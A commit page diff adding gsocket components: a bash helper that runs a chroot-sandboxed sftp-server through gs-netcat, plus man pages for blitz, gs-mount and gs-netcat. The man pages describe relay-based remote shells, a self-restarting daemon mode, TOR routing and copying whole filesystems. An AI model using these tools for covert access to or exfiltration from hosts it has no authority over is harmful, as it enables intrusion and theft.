Add Privacy Center (Tor, GS-Warp, OpenVPN, GSocket, WireGuard), tunneled DNS, and stage a1105 (vendetta) changelog
This commit is contained in:
1 parent
471916424e
commit
2030201539
110 files changed
+5562
-37
No files matched your search
@@ -0,0 +1,389 @@
|
||||
#! /usr/bin/env bash
|
||||
|
||||
|
||||
[[ $(basename -- "$0") == "gs_funcs" ]] && { echo "Use gsocket, gs-netcat, gs-sftp, gs-mount or blitz instead."; exit 1; }
|
||||
|
||||
# Find a sftp-server binary
|
||||
find_binary()
|
||||
{
|
||||
bin=$1
|
||||
command -v "${bin}" && { echo "${bin}"; return; }
|
||||
shift 1
|
||||
for dir in "$@"; do
|
||||
file="${dir}/${bin}"
|
||||
if [[ -f "$file" ]]; then
|
||||
echo "${file}"
|
||||
return
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
return
|
||||
}
|
||||
|
||||
read_password()
|
||||
{
|
||||
echo -n >&2 "${GS_PRFX}Enter Secret (or press Enter to generate): "
|
||||
read -r password
|
||||
if [[ -z "${password}" ]]; then
|
||||
password=$(${GS_NETCAT_BIN} -g)
|
||||
fi
|
||||
echo "${password}" | tr -d "[:space:]"
|
||||
}
|
||||
|
||||
# haystack1 haystack2 needle
|
||||
ucheck_fail()
|
||||
{
|
||||
[[ "$1" =~ $3 ]] || { echo >&2 "Symbol $3 not found in sftp-server."; exit 255; }
|
||||
[[ "$2" =~ $3 ]] || { echo >&2 "Symbol $3 not found (2)."; exit 255; }
|
||||
}
|
||||
|
||||
test_sftp()
|
||||
{
|
||||
echo "${1}" | ./gs-sftp -k id_sec.txt -wq 2>&1 | grep -c "Permission denied"
|
||||
}
|
||||
|
||||
first_symbol()
|
||||
{
|
||||
for func in "$@"; do
|
||||
if [[ "$sym_sftp" =~ $func ]]; then
|
||||
echo "$func "
|
||||
return
|
||||
fi
|
||||
done
|
||||
echo ">>>$*-NOT-FOUND<<< "
|
||||
}
|
||||
|
||||
uchroot_check_sym()
|
||||
{
|
||||
command -v nm >/dev/null 2>&1 || { echo >&2 "chroot failed (nm not found. apt-get install binutils?). Try -U to disable."; exit 255; }
|
||||
|
||||
# Extract symbols from .so and sftp-server binary
|
||||
if [[ "$OSTYPE" == "darwin"* ]]; then
|
||||
# on OSX remove the starting "_" from symboles
|
||||
sym_sftp="$(nm -pu "${SFTP_SERVER_BIN}" | sed 's/^_//g')"
|
||||
sym_uchr="$(nm -p "${UCHROOT_BIN}" | grep " T " | sed 's/^_//g')"
|
||||
elif [[ "$OSTYPE" == "solaris"* ]]; then
|
||||
sym_sftp="$(nm -Du "${SFTP_SERVER_BIN}")"
|
||||
sym_uchr="$(nm -p "${UCHROOT_BIN}" | grep " T ")"
|
||||
else
|
||||
sym_sftp="$(nm -Du "${SFTP_SERVER_BIN}")"
|
||||
sym_uchr="$(nm -D "${UCHROOT_BIN}" | grep " T ")"
|
||||
fi
|
||||
|
||||
[[ -n "$sym_uchr" ]] || { echo >&2 "chroot self-test failed (nm bad1). Try -U to disable."; exit 255; }
|
||||
[[ -n "$sym_sftp" ]] || { echo >&2 "chroot self-test failed (nm bad2). Try -U to disable."; exit 255; }
|
||||
funclist+=$(first_symbol lstat\$INODE64 __lxstat64 __lxstat lstat64 lstat)
|
||||
funclist+=$(first_symbol stat\$INODE64 __xstat64 __xstat stat64 stat)
|
||||
funclist+=$(first_symbol opendir\$INODE64 opendir64 opendir)
|
||||
funclist+=$(first_symbol open64 open)
|
||||
if [[ ! "$OSTYPE" == "solaris2.10"* ]]; then
|
||||
# On solaris 10 the stock OpenSSH install does not use statvfs64 (older version)
|
||||
funclist+=$(first_symbol statvfs64 statvfs)
|
||||
fi
|
||||
[[ "${funclist}" =~ "NOT-FOUND"* ]] && { echo >&2 "Missing symbol...${funclist}"; exit 255; }
|
||||
|
||||
funclist+="chmod link mkdir rename rmdir symlink unlink"
|
||||
# echo "funclist = $funclist" # DEBUG
|
||||
for func in ${funclist}; do
|
||||
ucheck_fail "${sym_sftp}" "${sym_uchr}" "${func}"
|
||||
done
|
||||
}
|
||||
|
||||
failed()
|
||||
{
|
||||
echo >&2 "ERROR: Self test failed: $1. Try -U to disable."
|
||||
|
||||
exit 255
|
||||
}
|
||||
# Verify that all symboles will get hijacked. exit on failure.
|
||||
# linux osx solaris
|
||||
# sftp -Du -pu -Du
|
||||
# .so -D|T -p|T -p|T
|
||||
uchroot_check()
|
||||
{
|
||||
local VALID_CMD
|
||||
local FAIL_CMD
|
||||
|
||||
# skip nm-style symbol check on cygwin
|
||||
# (sftp-server does not like nm on cygwin?!)
|
||||
if [[ x"$OSTYPE" != "xcygwin"* ]]; then
|
||||
# NOT cygwin
|
||||
uchroot_check_sym
|
||||
fi
|
||||
|
||||
# Run a self test (sftp -D sftp-server)
|
||||
command -v sftp >/dev/null 2>&1 || { failed "sftp not found"; }
|
||||
mkdir -p "${ROOTDIR}/ok"
|
||||
mkdir -p "${ROOTDIR}/denied"
|
||||
# echo "ROOTDIR=${ROOTDIR}" # DEBUG
|
||||
echo hello exist-allowed.txt >"${ROOTDIR}/ok/exist-allowed.txt"
|
||||
echo hello exist-denied.txt >"${ROOTDIR}/denied/exist-denied.txt"
|
||||
dd if=/dev/urandom bs=1k count=1 2>/dev/null >"${ROOTDIR}/ok/test1k.dat"
|
||||
echo "\
|
||||
#! /bin/bash
|
||||
cd \"${ROOTDIR}\"/ok
|
||||
${PRELOAD} ${SFTP_SERVER_BIN} ${SFTP_ARGS[*]}" >"${ROOTDIR}/sftp-server.sh"
|
||||
chmod 755 "${ROOTDIR}/sftp-server.sh"
|
||||
|
||||
# Run GOOD commands that should work
|
||||
VALID_CMD="
|
||||
mkdir dir1
|
||||
cd dir1
|
||||
cd ..
|
||||
cd dir1
|
||||
cd ../
|
||||
ls ${ROOTDIR}/ok
|
||||
ls ${ROOTDIR}/ok/exist-allowed.txt
|
||||
put test1k.dat dir1
|
||||
mkdir ./dir2/
|
||||
"
|
||||
[[ $(cd "${ROOTDIR}/ok"; echo "$VALID_CMD" | sftp -D "${ROOTDIR}/sftp-server.sh" 2>&1 | grep -c "Permission denied") -eq 0 ]] || { failed "valid cmd 0"; }
|
||||
[[ -d "${ROOTDIR}/ok/dir1" ]] || { failed "valid-cmd 1"; }
|
||||
[[ -d "${ROOTDIR}/ok/dir2" ]] || { failed "valid-cmd 2"; }
|
||||
[[ -f "${ROOTDIR}/ok/dir1/test1k.dat" ]] || { failed "valid-cmd 3"; }
|
||||
|
||||
|
||||
FAIL_CMD="
|
||||
rename exist-allowed.txt ../denied/0wned.txt
|
||||
mkdir ./dir1/../../denied/0wned
|
||||
cd dir1/../../denied
|
||||
cd ./../denied
|
||||
ls ${ROOTDIR}
|
||||
cd ${ROOTDIR}
|
||||
cd ${ROOTDIR}/denied
|
||||
cd ${ROOTDIR}/ok/../denied
|
||||
rm ./../denied/exist-denied.txt
|
||||
put test1k.dat ../denied/0wned.dat
|
||||
put test1k.dat ../denied/exist-denied.txt
|
||||
rename exist-allowed.txt ../denied/0wned.txt
|
||||
rename exist-allowed.txt /0wned.txt
|
||||
"
|
||||
[[ $(cd "${ROOTDIR}/ok"; echo "$FAIL_CMD" | sftp -D "${ROOTDIR}/sftp-server.sh" 2>&1 | grep -c "Permission denied") -eq 13 ]] || { failed "fail cmd (2)"; }
|
||||
|
||||
FAIL_CMD="
|
||||
ls dir1/../../denied
|
||||
ls ./../denied/exist-denied.txt"
|
||||
[[ $(cd "${ROOTDIR}/ok"; echo "$FAIL_CMD" | sftp -D "${ROOTDIR}/sftp-server.sh" 2>&1 | grep -c "not found") -eq 2 ]] || { failed "fail cmd (3)"; }
|
||||
rm -rf "${ROOTDIR}/ok" &>/dev/null
|
||||
rm -rf "${ROOTDIR}/denied" &>/dev/null
|
||||
rm -rf "${ROOTDIR}/sftp-server.sh" &>/dev/null
|
||||
}
|
||||
|
||||
|
||||
gs_find_so_single()
|
||||
{
|
||||
[[ -e "${1}/${2}" ]] && { echo "$(cd "${1}" || exit; pwd)""/${2}"; }
|
||||
}
|
||||
|
||||
arrayContains()
|
||||
{
|
||||
local e match="$1"
|
||||
shift
|
||||
for e; do [[ "$e" == "$match" ]] && return 0; done
|
||||
return 1
|
||||
}
|
||||
|
||||
# Search for the dynamic shared object file.
|
||||
# 1. Try $basedir
|
||||
# 2. Try ${basedir}/../lib
|
||||
# 3. Try /usr/lib
|
||||
# 4. Try /usr/local/lib
|
||||
# Return absolute path to DSO.
|
||||
gs_find_so()
|
||||
{
|
||||
local DL=("${BASEDIR}")
|
||||
# Debian packaging requires libs in /usr/lib/x86_64-linux-gnu :/
|
||||
if command -v dpkg-architecture &>/dev/null; then
|
||||
DL+=("/usr/lib/$(dpkg-architecture -qDEB_HOST_MULTIARCH)")
|
||||
fi
|
||||
|
||||
DL+=("${1}/lib") # This is either GS_PREFIX/lib or BASEDIR/../lib
|
||||
arrayContains "/usr/lib" "${DL[@]}" || DL+=("/usr/lib")
|
||||
arrayContains "/usr/local/lib" "${DL[@]}" || DL+=("/usr/local/lib")
|
||||
|
||||
for dir in "${DL[@]}"; do
|
||||
res=$(gs_find_so_single "${dir}" "${2}")
|
||||
[[ -z "$res" ]] || { echo "$res"; return; }
|
||||
done
|
||||
}
|
||||
|
||||
gs_init()
|
||||
{
|
||||
GS_NETCAT_BIN="gs-netcat"
|
||||
BIN="${BASEDIR}/${GS_NETCAT_BIN}"
|
||||
[[ -f "${BIN}" ]] && GS_NETCAT_BIN="${BIN}"
|
||||
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
|
||||
GS_SFTP_BIN="${BASEDIR}/gs-sftp"
|
||||
EXE=""
|
||||
if [[ "$OSTYPE" == "cygwin"* ]]; then
|
||||
EXE=".exe"
|
||||
fi
|
||||
|
||||
# To find sftp-server and DSO's in PREFIX/lib
|
||||
PREFIX="$GS_PREFIX"
|
||||
[[ -z "$PREFIX" ]] && PREFIX="$(cd "$(dirname "${0}")/../" || exit; pwd)"
|
||||
|
||||
# on OSX the dl-files are called .bundle (not .dylib) but it is generally
|
||||
# accepted to call them .so. OSX keep those is /System/Library/gsocket
|
||||
# but automake insists on ${PREFIX}/lib
|
||||
UCHROOT_BIN=$(gs_find_so "$PREFIX" "gsocket_uchroot_dso.so.0${EXE}")
|
||||
[[ -z "$UCHROOT_BIN" ]] && { echo >&2 "gsocket: gsocket_uchroot_dso.so.0${EXE} not found. Try 'apt install dpkg-dev'."; exit 5; }
|
||||
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
|
||||
GS_SO_BIN=$(gs_find_so "$PREFIX" "gsocket_dso.so.0${EXE}")
|
||||
[[ -z "$GS_SO_BIN" ]] && { echo >&2 "gsocket: gsocket_dso.so.0${EXE} not found."; exit 5; }
|
||||
|
||||
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
|
||||
BIN_NAME="$(basename "${0}")"
|
||||
|
||||
command -v "${GS_NETCAT_BIN}" >/dev/null 2>&1 || { echo >&2 "${GS_NETCAT_BIN} not found. Check PATH=?"; exit 1; }
|
||||
}
|
||||
|
||||
usage()
|
||||
{
|
||||
echo "
|
||||
-l Server Mode.
|
||||
-R Server in read-only mode.
|
||||
-s <secret> Secret (e.g. password).
|
||||
-k <file> Read Secret from file.
|
||||
|
||||
Example:
|
||||
$ ${1} -s MySecret -l # Server
|
||||
$ ${1} -s MySecret # Client
|
||||
|
||||
See 'gs-netcat -h' for more options."
|
||||
|
||||
}
|
||||
|
||||
do_getopt()
|
||||
{
|
||||
OPTERR=0
|
||||
FL_NEED_PASSWORD=1
|
||||
IS_UCHROOT=1
|
||||
# Check if -s or -k is already supplied in environment and dont ask again.
|
||||
[[ "$GSOCKET_ARGS" =~ ^'-s' ]] && unset FL_NEED_PASSWORD
|
||||
[[ "$GSOCKET_ARGS" =~ ' -s' ]] && unset FL_NEED_PASSWORD
|
||||
[[ "$GSOCKET_ARGS" =~ ^'-k' ]] && unset FL_NEED_PASSWORD
|
||||
[[ "$GSOCKET_ARGS" =~ ' -k' ]] && unset FL_NEED_PASSWORD
|
||||
# shellcheck disable=SC2220 # Invalid flags are not handled. Add a *) case.
|
||||
while getopts ":qhURgls:k:L:" opt; do
|
||||
case ${opt} in
|
||||
s )
|
||||
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
|
||||
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$OPTARG" # Add to end of array
|
||||
unset FL_NEED_PASSWORD
|
||||
;;
|
||||
k )
|
||||
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-k" # Add to end of array
|
||||
KFILE=$(cd "$(dirname "$OPTARG")" && pwd)/$(basename "$OPTARG")
|
||||
[[ -f "${KFILE}" ]] || { echo >&2 "File not found: ${KFILE}"; exit 255; }
|
||||
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="${KFILE}" # Add to end of array
|
||||
# KFILE=$(eval echo "$OPTARG") # Add to end of array
|
||||
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]=$(eval echo "$OPTARG") # Add to end of array
|
||||
unset FL_NEED_PASSWORD
|
||||
;;
|
||||
g )
|
||||
"${GS_NETCAT_BIN}" -g
|
||||
exit
|
||||
;;
|
||||
h )
|
||||
my_usage
|
||||
;;
|
||||
q )
|
||||
IS_QUIET=1
|
||||
ARGS_NEW[${#ARGS_NEW[@]}]="-q"
|
||||
;;
|
||||
l )
|
||||
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
|
||||
IS_SERVER=1
|
||||
ARGS_NEW[${#ARGS_NEW[@]}]="-l" # Add to end of array
|
||||
;;
|
||||
R )
|
||||
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
|
||||
IS_READONLY=1
|
||||
SFTP_ARGS[${#SFTP_ARGS[@]}]="-R"
|
||||
;;
|
||||
U )
|
||||
unset IS_UCHROOT
|
||||
;;
|
||||
\? )
|
||||
# UNKNOWN option. Handle before '*' (e.g. -l)
|
||||
ARGS_NEW[${#ARGS_NEW[@]}]="-${OPTARG}" # Add to end of array
|
||||
;;
|
||||
* )
|
||||
# Other (known opts from opstring) w parameters (e.g. -L <file>)
|
||||
ARGS_NEW[${#ARGS_NEW[@]}]="-${opt}" # Add to end of array
|
||||
ARGS_NEW[${#ARGS_NEW[@]}]="${OPTARG}" # Add to end of array
|
||||
;;
|
||||
esac
|
||||
done
|
||||
# Solaris 10 problems:
|
||||
# - stock sftp-server does not allow -p <whitelist> -> Acceptable risk
|
||||
# - LD_PRELOAD does not seem to work. Does anyone still use solaris10?
|
||||
if [[ "$OSTYPE" == "solaris2.10"* ]]; then
|
||||
echo -e >&2 "\033[1;31mWARNING\033[0m: uchroot not (yet) supported on solaris 10."
|
||||
unset IS_UCHROOT
|
||||
fi
|
||||
}
|
||||
|
||||
env_arg_init()
|
||||
{
|
||||
# Prepare existing GSOCKET_ARGS to take more arguments if there are any
|
||||
[[ -n "$GSOCKET_ARGS" ]] && GSOCKET_ARGS+=" "
|
||||
if [[ -n "$FL_NEED_PASSWORD" ]]; then
|
||||
password=$(read_password)
|
||||
# shellcheck disable=SC2034 # GSOCKET_SECRET appears unused => It's used in 'gs'
|
||||
GSOCKET_SECRET="${password}"
|
||||
echo "${GS_PRFX}=Secret : ${password}"
|
||||
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
|
||||
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$password" # Add to end of array
|
||||
fi
|
||||
# Have to output it here because gs-netcat might be started from withing
|
||||
# sshfs or sftpd where stderr is no longer available to gs-netcat
|
||||
[[ -n "$IS_QUIET" ]] || echo >&2 "${GS_PRFX}=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)"
|
||||
ENV_ARGS="${GSOCKET_ARGS}${GSNC_ENV_ARGS[*]}"
|
||||
}
|
||||
|
||||
sftp_server_start()
|
||||
{
|
||||
# SERVER
|
||||
if [[ "$OSTYPE" == "darwin"* ]]; then
|
||||
# OSX does not allow LD_PRELOAD of binaries in /usr/. Copy to tmp...
|
||||
ROOTDIR=$(mktemp -d -t thc-gs-sftp)
|
||||
# FIXME: temp file only cleaned on reboot. Hmm...
|
||||
cp /usr/libexec/sftp-server "${ROOTDIR}/sftp-server" &>/dev/null
|
||||
SFTP_SERVER_BIN="${ROOTDIR}/sftp-server"
|
||||
PRELOAD="DYLD_INSERT_LIBRARIES=${UCHROOT_BIN} DYLD_FORCE_FLAT_NAMESPACE=1"
|
||||
else
|
||||
if [[ -n "${IS_UCHROOT}" ]]; then
|
||||
ROOTDIR=$(mktemp -d -t thc-gs-sftp-XXXXXXXXXXXXXXX)
|
||||
fi
|
||||
SFTP_SERVER_BIN=$(find_binary "sftp-server${EXE}" "${PREFIX}/lib" /opt/csw/libexec /usr/lib /usr/local/lib /usr/libexec /usr/libexec/openssh /usr/lib/ssh /usr/sbin)
|
||||
PRELOAD="LD_PRELOAD=${UCHROOT_BIN}"
|
||||
fi
|
||||
[[ -z "${SFTP_SERVER_BIN}" ]] && { echo >&2 "sftp-server binary not found."; exit 1; }
|
||||
|
||||
# SFTP_ARGS[${#SFTP_ARGS[@]}]="-l"
|
||||
# SFTP_ARGS[${#SFTP_ARGS[@]}]="DEBUG3" # tail /var/log/auth.log | grep 'Refusing non-whitelisted'
|
||||
|
||||
# Whitelist of commands sftp-server should allow (most are not needed
|
||||
# by sftp but for sshfs)
|
||||
# *** WARNING ***: If you add a string here you also must make sure that
|
||||
# gsocket_uchroot_dso checks the command for uchroot-escape.
|
||||
SFTP_ARGS[${#SFTP_ARGS[@]}]="-p"
|
||||
SFTP_ARGS[${#SFTP_ARGS[@]}]="open,opendir,mkdir,remove,rmdir,symlink,hardlink,stat,posix-rename,statvfs,setstat,fsetstat,fstat,lstat,readdir,realpath,write,read,close"
|
||||
|
||||
ENV_ARGS="${GSOCKET_ARGS}${GSNC_ENV_ARGS[*]}"
|
||||
|
||||
if [[ -n "${IS_UCHROOT}" ]]; then
|
||||
[[ -z "${ROOTDIR}" ]] && { failed "(mktemp)"; }
|
||||
uchroot_check
|
||||
# Try to delete temporary directory. OSX still has sftp-server bin in there and must be deleted
|
||||
rmdir "${ROOTDIR}" &>/dev/null
|
||||
else
|
||||
echo -e >&2 "\033[1;31mWARNING\033[0m: uchroot disabled. Allowing access to *ALL* files on this host."
|
||||
unset PRELOAD
|
||||
fi
|
||||
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}" exec "${GS_NETCAT_BIN}" "${ARGS_NEW[@]}" -e "${PRELOAD} ${SFTP_SERVER_BIN} ${SFTP_ARGS[*]} 2>/dev/null"
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
.Dd October 12, 2020
|
||||
.Dt BLITZ 1
|
||||
.Os
|
||||
.Sh NAME
|
||||
.Nm blitz
|
||||
.Nd Securely transfer files between two workstations through NAT/Firewall.
|
||||
.Sh SYNOPSIS
|
||||
.Nm blitz
|
||||
.Op Fl lT
|
||||
.Op Fl s Ar secret
|
||||
.Op Fl k Ar keyfile
|
||||
.Op Fl f Ar list
|
||||
.Op Fl o Ar RSOPT=
|
||||
.Op Ar files ...
|
||||
.Sh DESCRIPTION
|
||||
The
|
||||
.Nm
|
||||
utility is a wrapper script for gs-netcat and rsync. It allows one to send files from one workstation to another workstation via the Global Socket Relay Network (GSRN).
|
||||
.Pp
|
||||
A typical use-case is where both workstations are separated by a Firewall or NAT and not able to establish a direct connection between each other.
|
||||
.Pp
|
||||
.Sh OPTIONS
|
||||
.Bl -tag -width Ds
|
||||
.It Fl l
|
||||
Server mode. The default mode is client.
|
||||
.It Fl s Ar secret
|
||||
A password chosen by the user. Both users need to use the same password to connect.
|
||||
.It Fl k Ar FILE
|
||||
A file containing the password.
|
||||
.It Fl f Ar FILE
|
||||
Read list of file names from FILE. If FILE is -, the list will be read from standard input.
|
||||
.It Fl o Ar RSOPT=
|
||||
Options passed to rsync. See
|
||||
.Xr rsync(1)
|
||||
for available options.
|
||||
.It Fl T
|
||||
Use TOR. The
|
||||
.Nm
|
||||
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
|
||||
.El
|
||||
.Pp
|
||||
See
|
||||
.Xr gs-netcat(1)
|
||||
for more options.
|
||||
.Sh EXAMPLES
|
||||
Listen for clients with password 'MySecret':
|
||||
.Dl $ mkdir /tmp/foo && cd /tmp/foo
|
||||
.Dl $ blitz -s MySecret -l
|
||||
.Pp
|
||||
Copy 'file.dat' to /tmp/foo/file.dat on the server:
|
||||
.Dl $ blitz -s MySecret file.dat
|
||||
.Pp
|
||||
Copy '/etc/ssh/ssh*config' to /tmp/foo/etc/ssh/ on the server:
|
||||
.Dl $ blitz -s MySecret /etc/ssh/ssh*config
|
||||
.Pp
|
||||
It is also possible to limit the amount of path information that is sent as implied directories for each path you specify. You can insert a dot and a slash into the source path, like this:
|
||||
.Pp
|
||||
.Dl $ blitz -s MySecret /etc/./ssh/ssh*config
|
||||
The received files will be stored to /tmp/foo/ssh/ instead of /tmp/foo/etc/ssh.
|
||||
.Pp
|
||||
Copy recursively and limit bandwidth to 10kB/sec:
|
||||
.Dl $ blitz -s MySecret -o 'RSOPT=--bwlimit=10' /usr/./share
|
||||
.Pp
|
||||
Copy the entire root file-system:
|
||||
.Dl $ blitz -s MySecret -o 'RSOPT=-x' /
|
||||
.Pp
|
||||
Copy specific files read from standard input:
|
||||
.Dl $ find\ . -name '*.conf' | blitz -s MySecret -f \-
|
||||
.Pp
|
||||
Run a permanent server (daemon) through TOR:
|
||||
.Dl $ blitz -s MySecret -l -D -T
|
||||
.Pp
|
||||
.Sh ENVIRONMENT
|
||||
See
|
||||
.Xr gs-netcat(1)
|
||||
for a list of supported environment variables.
|
||||
.Pp
|
||||
.Sh SEE ALSO
|
||||
.Xr gsocket(1) ,
|
||||
.Xr gs-netcat(1) ,
|
||||
.Xr gs-sftp(1) ,
|
||||
.Xr gs-mount(1) ,
|
||||
.Xr rsync(1)
|
||||
.Pp
|
||||
.Sh BUGS
|
||||
Efforts have been made to have
|
||||
.Nm
|
||||
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
|
||||
@@ -0,0 +1,60 @@
|
||||
.Dd October 12, 2020
|
||||
.Dt GS-MOUNT 1
|
||||
.Os
|
||||
.Sh NAME
|
||||
.Nm gs-mount
|
||||
.Nd Secure filesystem client through via Global Socket.
|
||||
.Sh SYNOPSIS
|
||||
.Nm gs-mount
|
||||
.Op Fl lTR
|
||||
.Op Fl s Ar secret
|
||||
.Op Fl k Ar keyfile
|
||||
.Op Ar mountpoint
|
||||
.Sh DESCRIPTION
|
||||
The
|
||||
.Nm
|
||||
utility is a wrapper script for gs-netcat. It allows a user to mount and access a filesystem from another user via the Global Socket Relay Network (GSRN). This is useful in a scenario where both users are behind NAT/Firewall and unable to connect to each other directly.
|
||||
.Pp
|
||||
.Sh OPTIONS
|
||||
.Bl -tag -width Ds
|
||||
.It Fl s Ar secret
|
||||
A password chosen by the user. Both users need to use the same password to connect.
|
||||
.It Fl k Ar FILE
|
||||
A file containing the password.
|
||||
.It Fl l
|
||||
Server mode. The default mode is client.
|
||||
.It Fl R
|
||||
Places server (-l) into a read-only mode. Attempts to open files for writing, as well as other operations that change the state of the filesystem, will be denied.
|
||||
.It Fl T
|
||||
Use TOR. The
|
||||
.Nm
|
||||
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
|
||||
.El
|
||||
.Pp
|
||||
See
|
||||
.Xr gs-netcat(1)
|
||||
for more options.
|
||||
.Sh EXAMPLES
|
||||
.Nm Example 1
|
||||
- Alice sharing her current directory:
|
||||
.Dl $ gs-mount -s MySecret -l
|
||||
.Pp
|
||||
Bob mounting Alice's directory to ~/gs-alice:
|
||||
.Dl $ gs-mount -s MySecret ~/gs-alice
|
||||
.Pp
|
||||
.Sh ENVIRONMENT
|
||||
See
|
||||
.Xr gs-netcat(1)
|
||||
for a list of supported environment variables.
|
||||
.Pp
|
||||
.Sh SEE ALSO
|
||||
.Xr gsocket(1) ,
|
||||
.Xr gs-netcat(1) ,
|
||||
.Xr gs-sftp(1) ,
|
||||
.Xr blitz(1) ,
|
||||
.Xr sshfs(1)
|
||||
.Pp
|
||||
.Sh BUGS
|
||||
Efforts have been made to have
|
||||
.Nm
|
||||
"do the right thing" in all its various modes. If you believe that it is doing the wrong thing under whatever circumstances, please notify me (skyper@thc.org) and tell me how you think it should behave.
|
||||
@@ -0,0 +1,256 @@
|
||||
\# .TH gs-netcat 1 "08 October 2020" "1.0" "gs-netcat man page"
|
||||
.Dd October 08, 2020
|
||||
.Dt GS-NETCAT 1
|
||||
.Os
|
||||
.Sh NAME
|
||||
.Nm gs-netcat
|
||||
.Nd transfer data, forward traffic and execute commands on a remote host. Securely.
|
||||
.Sh SYNOPSIS
|
||||
.Nm gs-netcat
|
||||
.Op Fl rlgvqwCTSDiu
|
||||
.Op Fl s Ar secret
|
||||
.Op Fl k Ar keyfile
|
||||
.Op Fl L Ar logfile
|
||||
.Op Fl d Ar IP
|
||||
.Op Fl p Ar port
|
||||
.Op Fl e Ar cmd
|
||||
.Sh DESCRIPTION
|
||||
The
|
||||
.Nm
|
||||
utility is a re-implementation of netcat. It allows two or more users to establish a secure TCP connection with each other in a scenario where all users are behind NAT/Firewall and would not be able to connect to each other directly. Typically a connection between one workstation and another workstation on a different Local Area Network.
|
||||
.Pp
|
||||
It uses the Global Socket Relay Network (GSRN) instead of direct TCP connections. Neither workstation needs to open a port in their firewall or accept incoming TCP connections.
|
||||
.Pp
|
||||
The connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime. The GSRN sees only the encrypted traffic.
|
||||
.Pp
|
||||
Common uses include:
|
||||
.Pp
|
||||
.Bl -bullet -offset indent -compact
|
||||
.It
|
||||
simple TCP proxies
|
||||
.It
|
||||
PTY shell
|
||||
.It
|
||||
File transfer
|
||||
.It
|
||||
a SOCKS ProxyCommand for
|
||||
.Xr ssh 1
|
||||
.It
|
||||
and much, much more.
|
||||
.El
|
||||
.Pp
|
||||
.Sh OPTIONS
|
||||
.Bl -tag -width Ds
|
||||
.It Fl C
|
||||
Disable encryption and use clear-text instead. Use with caution.
|
||||
.It Fl d Ar ip
|
||||
Destination IPv4 address for port forwarding.
|
||||
.It Fl D
|
||||
Daemon & Watchdog mode. Start
|
||||
.Nm
|
||||
as a background process and restart if killed.
|
||||
.It Fl e Ar cmd
|
||||
Execute command and send output to the connected client. Needs -l.
|
||||
.It Fl g
|
||||
Generate a secure random password and output it to standard output.
|
||||
.It Fl i
|
||||
Interactive login shell. The server spawns a true PTY login shell. The client acts as a true PTY client (with Ctrl-C etc working). The client can terminate the session by typing 'Ctrl-e q' at any time or by typing 'exit'. The server supports multiple clients at the same time.
|
||||
.It Fl k Ar file
|
||||
A file containing the password.
|
||||
.It Fl l
|
||||
Server/Listening mode. The default mode is client.
|
||||
.It Fl L Ar file
|
||||
Log file [default: standard out]
|
||||
.It Fl p Ar port
|
||||
Port to listen on or to forward traffic to [1-65535].
|
||||
.It Fl q
|
||||
Quiet mode. Do not output any warnings or errors.
|
||||
.It Fl r
|
||||
Receive-only. Do not send any data. Terminate when no more data is available for reading.
|
||||
.It Fl s Ar secret
|
||||
A password chosen by the user. Both users need to use the same password to connect.
|
||||
.It Fl S
|
||||
Act as a SOCKS4/4a/5 server. The server acts as a SOCKS4/4a/5 proxy. It allows multiple
|
||||
.Nm
|
||||
clients to (securely) relay traffic via the server. Needs -l.
|
||||
.It Fl T
|
||||
Use TOR. The
|
||||
.Nm
|
||||
tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
|
||||
.It Fl t
|
||||
Connect to the GSRN (only) and check if the peer is listening. Do not connect the peer.
|
||||
.It Fl u
|
||||
Use UDP instead of TCP for port forwarding. Needs -p.
|
||||
.It Fl v
|
||||
Prints status messages. Use -vv to be more verbose and -vvv to be insanely verbose.
|
||||
.It Fl w
|
||||
Client to wait for the listening server to become available.
|
||||
.El
|
||||
.Sh CONSOLE
|
||||
The interactive login shell (
|
||||
.Ar -i
|
||||
) has a command console. Pressing 'Ctrl-e c' (e for EEEElite) opens the command console. The command console displays the following information:
|
||||
.Pp
|
||||
.Bl -bullet -offset indent -compact
|
||||
.It
|
||||
Latency (in milliseconds) to the remote host
|
||||
.It
|
||||
Warning when a user logs into the system or becomes active
|
||||
.It
|
||||
Data throughput
|
||||
.It
|
||||
File transfer logs
|
||||
.El
|
||||
Type 'help' for a list of available commands.
|
||||
.Sh FILETRANSFER
|
||||
File transfer is available from the command console. Files are transferred with the permission and modification timestamp unchanged. Partially transferred files are re-started where the transfer was left off.
|
||||
The 'put' command is used for uploading:
|
||||
.Dl put foobar.txt
|
||||
.Dl put $HOME/foobar.txt
|
||||
.Dl put /tmp/*.log
|
||||
.Dl put $(find . -type f -name '*.c')
|
||||
(The above example shows Shell Variable substitution and word expansion)
|
||||
It is possible to limit the amount of path information that is sent as implied directories for each path you specify. You can insert a dot and a slash into the source path, like this:
|
||||
.Dl put /foo/./bar/baz.c
|
||||
That would create /tmp/bar/baz.c on the remote machine.
|
||||
The 'get' command is used for downloading:
|
||||
.Dl get foobar.txt
|
||||
.Dl get $(find /var/./ -name '*.log')
|
||||
Transferring a directory automatically transfers all files and directories within that directory (recursively):
|
||||
.Dl get /var/log
|
||||
.Dl get /
|
||||
